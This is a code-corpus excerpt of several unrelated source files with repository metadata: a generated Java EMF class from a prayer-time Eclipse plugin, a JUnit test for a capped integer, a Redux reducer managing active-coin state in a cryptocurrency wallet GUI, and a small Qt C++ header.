* @generated
*/
@Override
public void eSet(int featureID, Object newValue) {
switch (featureID) {
case WaqtSalatPackage.PRAY__NAME:
setName((PrayName) newValue);
return;
case WaqtSalatPackage.PRAY__TIME:
setTime((Calendar) newValue);
return;
case WaqtSalatPackage.PRAY__PLAYING_ADHAN:
setPlayingAdhan((Boolean) newValue);
return;
case WaqtSalatPackage.PRAY__ADHAN_PLAYER:
setAdhanPlayer(newValue);
return;
}
super.eSet(featureID, newValue);
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
@Override
public void eUnset(int featureID) {
switch (featureID) {
case WaqtSalatPackage.PRAY__NAME:
setName(NAME_EDEFAULT);
return;
case WaqtSalatPackage.PRAY__TIME:
setTime(TIME_EDEFAULT);
return;
case WaqtSalatPackage.PRAY__PLAYING_ADHAN:
setPlayingAdhan(PLAYING_ADHAN_EDEFAULT);
return;
case WaqtSalatPackage.PRAY__ADHAN_PLAYER:
setAdhanPlayer(ADHAN_PLAYER_EDEFAULT);
return;
}
super.eUnset(featureID);
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
@Override
public boolean eIsSet(int featureID) {
switch (featureID) {
case WaqtSalatPackage.PRAY__NAME:
return name != NAME_EDEFAULT;
case WaqtSalatPackage.PRAY__TIME:
return TIME_EDEFAULT == null ? time != null : !TIME_EDEFAULT.equals(time);
case WaqtSalatPackage.PRAY__PLAYING_ADHAN:
return playingAdhan != PLAYING_ADHAN_EDEFAULT;
case WaqtSalatPackage.PRAY__ADHAN_PLAYER:
return ADHAN_PLAYER_EDEFAULT == null ? adhanPlayer != null : !ADHAN_PLAYER_EDEFAULT.equals(adhanPlayer);
}
return super.eIsSet(featureID);
}
/**
* <!-- begin-user-doc --> <!-- end-user-doc -->
*
* @generated
*/
@Override
public String toString() {
if (eIsProxy()) return super.toString();
StringBuffer result = new StringBuffer(super.toString());
result.append(" (name: "); //$NON-NLS-1$
result.append(name);
result.append(", time: "); //$NON-NLS-1$
result.append(time);
result.append(", playingAdhan: "); //$NON-NLS-1$
result.append(playingAdhan);
result.append(", adhanPlayer: "); //$NON-NLS-1$
result.append(adhanPlayer);
result.append(')');
return result.toString();
}
} // PrayImpl
| paissad/waqtsalat-eclipse-plugin | plugins/net.paissad.waqtsalat.core/src/net/paissad/waqtsalat/core/impl/PrayImpl.java | Java | gpl-3.0 | 9,597 |
package xigua.battle.of.elements.model;
import org.junit.Before;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
public class IntWithMaxTest {
private IntWithMax intWithMax;
@Before
public void setUp() {
intWithMax = new IntWithMax(42);
}
@Test
public void getValue_WithCorrectValue() {
assertThat(intWithMax.getValue()).isEqualTo(42);
}
@Test
public void setWhenValueBiggerThanMax_CorrectValueSet() {
intWithMax.setValue(100);
assertThat(intWithMax.getValue()).isEqualTo(42);
}
@Test
public void setWhenValueSmallerThanMax_CorrectValueSet() {
intWithMax.setValue(1);
assertThat(intWithMax.getValue()).isEqualTo(1);
}
@Test
public void getMax_WithCorrectMax() {
assertThat(intWithMax.getMaxValue()).isEqualTo(42);
}
}
| YuKitAs/battle-of-elements | src/test/java/xigua/battle/of/elements/model/IntWithMaxTest.java | Java | gpl-3.0 | 879 |
import {
DASHBOARD_ACTIVE_COIN_CHANGE,
DASHBOARD_ACTIVE_COIN_BALANCE,
DASHBOARD_ACTIVE_COIN_SEND_FORM,
DASHBOARD_ACTIVE_COIN_RECEIVE_FORM,
DASHBOARD_ACTIVE_COIN_RESET_FORMS,
DASHBOARD_ACTIVE_SECTION,
DASHBOARD_ACTIVE_TXINFO_MODAL,
ACTIVE_COIN_GET_ADDRESSES,
DASHBOARD_ACTIVE_COIN_NATIVE_BALANCE,
DASHBOARD_ACTIVE_COIN_NATIVE_TXHISTORY,
DASHBOARD_ACTIVE_COIN_NATIVE_OPIDS,
DASHBOARD_ACTIVE_COIN_SENDTO,
DASHBOARD_ACTIVE_ADDRESS,
DASHBOARD_ACTIVE_COIN_GETINFO_FAILURE,
SYNCING_NATIVE_MODE,
DASHBOARD_UPDATE,
DASHBOARD_ELECTRUM_BALANCE,
DASHBOARD_ELECTRUM_TRANSACTIONS,
DASHBOARD_REMOVE_COIN,
DASHBOARD_ACTIVE_COIN_NET_PEERS,
DASHBOARD_ACTIVE_COIN_NET_TOTALS,
KV_HISTORY,
DASHBOARD_ETHEREUM_BALANCE,
DASHBOARD_ETHEREUM_TRANSACTIONS,
DASHBOARD_CLEAR_ACTIVECOIN,
} from '../actions/storeType';
// TODO: refactor current coin props copy on change
const defaults = {
native: {
coin: null,
mode: null,
send: false,
receive: false,
balance: 0,
addresses: null,
activeSection: 'default',
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
txhistory: [],
opids: null,
lastSendToResponse: null,
progress: null,
rescanInProgress: false,
getinfoFetchFailures: 0,
net: {
peers: null,
totals: null,
},
},
spv: {
coin: null,
mode: null,
send: false,
receive: false,
balance: 0,
addresses: null,
activeSection: 'default',
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
txhistory: [],
lastSendToResponse: null,
},
eth: {
coin: null,
mode: null,
send: false,
receive: false,
balance: 0,
addresses: null,
activeSection: 'default',
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
txhistory: [],
lastSendToResponse: null,
},
};
const checkCoinObjectKeys = (obj, mode) => {
if (Object.keys(obj).length &&
mode) {
for (let key in obj) {
if (!defaults[mode].hasOwnProperty(key)) {
delete obj[key];
}
}
}
return obj;
};
export const ActiveCoin = (state = {
coins: {
native: {},
spv: {},
eth: {},
},
coin: null,
mode: null,
send: false,
receive: false,
balance: 0,
addresses: null,
activeSection: 'default',
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
txhistory: [],
opids: null,
lastSendToResponse: null,
activeAddress: null,
progress: null,
rescanInProgress: false,
getinfoFetchFailures: 0,
net: {
peers: null,
totals: null,
},
}, action) => {
switch (action.type) {
case DASHBOARD_REMOVE_COIN:
delete state.coins[action.mode][action.coin];
if (state.coin === action.coin) {
return {
...state,
...defaults[action.mode],
};
} else {
return {
...state,
};
}
case DASHBOARD_ACTIVE_COIN_CHANGE:
if (state.coins[action.mode] &&
state.coins[action.mode][action.coin]) {
let _coins = state.coins;
if (action.mode === state.mode) {
const _coinData = state.coins[action.mode][action.coin];
const _coinDataToStore = checkCoinObjectKeys({
addresses: state.addresses,
coin: state.coin,
mode: state.mode,
balance: state.balance,
txhistory: state.txhistory,
send: state.send,
receive: state.receive,
showTransactionInfo: state.showTransactionInfo,
showTransactionInfoTxIndex: state.showTransactionInfoTxIndex,
activeSection: state.activeSection,
lastSendToResponse: state.lastSendToResponse,
opids: state.mode === 'native' ? state.opids : null,
activeAddress: state.activeAddress,
progress: state.mode === 'native' ? state.progress : null,
rescanInProgress: state.mode === 'native' ? state.rescanInProgress : false,
getinfoFetchFailures: state.mode === 'native' ? state.getinfoFetchFailures : 0,
net: state.mode === 'native' ? state.net : {},
}, action.mode);
if (!action.skip) {
_coins[action.mode][state.coin] = _coinDataToStore;
}
delete _coins.undefined;
return {
...state,
coins: _coins,
...checkCoinObjectKeys({
addresses: _coinData.addresses,
coin: _coinData.coin,
mode: _coinData.mode,
balance: _coinData.balance,
txhistory: _coinData.txhistory,
send: _coinData.send,
receive: _coinData.receive,
showTransactionInfo: _coinData.showTransactionInfo,
showTransactionInfoTxIndex: _coinData.showTransactionInfoTxIndex,
activeSection: _coinData.activeSection,
lastSendToResponse: _coinData.lastSendToResponse,
opids: _coinData.mode === 'native' ? _coinData.opids : null,
activeAddress: _coinData.activeAddress,
progress: _coinData.mode === 'native' ? _coinData.progress : null,
rescanInProgress: _coinData.mode === 'native' ? _coinData.rescanInProgress : false,
getinfoFetchFailures: _coinData.mode === 'native' ? _coinData.getinfoFetchFailures : 0,
net: _coinData.mode === 'native' ? _coinData.net : {},
}, _coinData.mode),
};
} else {
delete _coins.undefined;
return {
...state,
coins: state.coins,
...checkCoinObjectKeys({
coin: action.coin,
mode: action.mode,
balance: 0,
addresses: null,
txhistory: 'loading',
send: false,
receive: false,
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
activeSection: 'default',
progress: null,
rescanInProgress: false,
net: {
peers: null,
totals: null,
},
}, action.mode),
};
}
} else {
if (state.coin) {
const _coinData = checkCoinObjectKeys({
addresses: state.addresses,
coin: state.coin,
mode: state.mode,
balance: state.balance,
txhistory: state.txhistory,
send: state.send,
receive: state.receive,
showTransactionInfo: state.showTransactionInfo,
showTransactionInfoTxIndex: state.showTransactionInfoTxIndex,
activeSection: state.activeSection,
lastSendToResponse: state.lastSendToResponse,
opids: state.mode === 'native' ? state.opids : null,
activeAddress: state.activeAddress,
progress: state.mode === 'native' ? state.progress : null,
rescanInProgress: state.mode === 'native' ? state.rescanInProgress : false,
getinfoFetchFailures: state.mode === 'native' ? state.getinfoFetchFailures : 0,
net: state.mode === 'native' ? state.net : {},
}, state.mode);
let _coins = state.coins;
if (!action.skip &&
_coins[action.mode]) {
_coins[action.mode][state.coin] = _coinData;
}
return {
...state,
coins: _coins,
...checkCoinObjectKeys({
coin: action.coin,
mode: action.mode,
balance: 0,
addresses: null,
txhistory: 'loading',
send: false,
receive: false,
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
activeSection: 'default',
progress: null,
rescanInProgress: false,
net: {
peers: null,
totals: null,
},
}, action.mode),
};
} else {
return {
...state,
...checkCoinObjectKeys({
coin: action.coin,
mode: action.mode,
balance: 0,
addresses: null,
txhistory: 'loading',
send: false,
receive: false,
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
activeSection: 'default',
progress: null,
rescanInProgress: false,
net: {
peers: null,
totals: null,
},
}, action.mode),
};
}
}
case DASHBOARD_ELECTRUM_BALANCE:
return {
...state,
balance: action.balance,
};
case DASHBOARD_ELECTRUM_TRANSACTIONS:
return {
...state,
txhistory: action.txhistory,
};
case DASHBOARD_ACTIVE_COIN_BALANCE:
return {
...state,
balance: action.balance,
};
case DASHBOARD_ACTIVE_COIN_SEND_FORM:
return {
...state,
send: action.send,
receive: false,
};
case DASHBOARD_ACTIVE_COIN_RECEIVE_FORM:
return {
...state,
send: false,
receive: action.receive,
};
case DASHBOARD_ACTIVE_COIN_RESET_FORMS:
return {
...state,
send: false,
receive: false,
};
case ACTIVE_COIN_GET_ADDRESSES:
return {
...state,
addresses: action.addresses,
};
case DASHBOARD_ACTIVE_SECTION:
return {
...state,
activeSection: action.section,
};
case DASHBOARD_ACTIVE_TXINFO_MODAL:
return {
...state,
showTransactionInfo: action.showTransactionInfo,
showTransactionInfoTxIndex: action.showTransactionInfoTxIndex,
};
case DASHBOARD_ACTIVE_COIN_NATIVE_BALANCE:
return {
...state,
balance: action.balance,
};
case DASHBOARD_ACTIVE_COIN_NATIVE_TXHISTORY:
return {
...state,
txhistory: action.txhistory,
};
case DASHBOARD_ACTIVE_COIN_NATIVE_OPIDS:
return {
...state,
opids: action.opids,
};
case DASHBOARD_ACTIVE_COIN_SENDTO:
return {
...state,
lastSendToResponse: action.lastSendToResponse,
};
case DASHBOARD_ACTIVE_ADDRESS:
return {
...state,
activeAddress: action.address,
};
case SYNCING_NATIVE_MODE:
return {
...state,
progress: state.mode === 'native' ? action.progress : null,
getinfoFetchFailures: typeof action.progress === 'string' && action.progress.indexOf('"code":-777') ? state.getinfoFetchFailures + 1 : 0,
};
case DASHBOARD_ACTIVE_COIN_GETINFO_FAILURE:
return {
...state,
getinfoFetchFailures: state.getinfoFetchFailures + 1,
};
case DASHBOARD_UPDATE:
if (state.coin === action.coin) {
return {
...state,
opids: action.opids,
txhistory: action.txhistory,
balance: action.balance,
addresses: action.addresses,
rescanInProgress: action.rescanInProgress,
};
}
case DASHBOARD_ACTIVE_COIN_NET_PEERS:
return {
...state,
net: {
peers: action.peers,
totals: state.net.totals,
},
};
case DASHBOARD_ACTIVE_COIN_NET_TOTALS:
return {
...state,
net: {
peers: state.net.peers,
totals: action.totals,
},
};
case DASHBOARD_ETHEREUM_BALANCE:
return {
...state,
balance: action.balance,
};
case DASHBOARD_ETHEREUM_TRANSACTIONS:
return {
...state,
txhistory: action.txhistory,
};
case DASHBOARD_CLEAR_ACTIVECOIN:
return {
coins: {
native: {},
spv: {},
eth: {},
},
coin: null,
mode: null,
balance: 0,
addresses: null,
txhistory: 'loading',
send: false,
receive: false,
showTransactionInfo: false,
showTransactionInfoTxIndex: null,
activeSection: 'default',
progress: null,
rescanInProgress: false,
net: {
peers: null,
totals: null,
},
getinfoFetchFailures: 0,
};
default:
return state;
}
}
export default ActiveCoin; | pbca26/EasyDEX-GUI | react/src/reducers/activeCoin.js | JavaScript | gpl-3.0 | 12,574 |
#ifndef DATASOURCE_H
#define DATASOURCE_H
#include <QArray>
#include <QVector3D>
#include <QColor4ub>
#include <QObject>
#include <QVector2D>
#include <QGLVertexBundle>
#include <iostream>
#include "databundle.h"
using std::cerr;
using std::endl;
class DataSource : public QObject
{
Q_OBJECT
public:
DataSource(QObject *parent = 0);
virtual QArray<DataBundle*> *dataBundles() {
cerr << "Returning from abstract DataSource."
"This should not happen." << endl;
return 0;
}
};
#endif
| ComputationalPhysics/compphys-qt3d-additions | multibillboard/src/datasource.h | C | gpl-3.0 | 534 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.